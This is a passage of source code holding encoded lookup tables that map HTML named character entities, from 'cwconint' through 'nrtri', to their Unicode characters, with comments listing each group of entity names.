			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
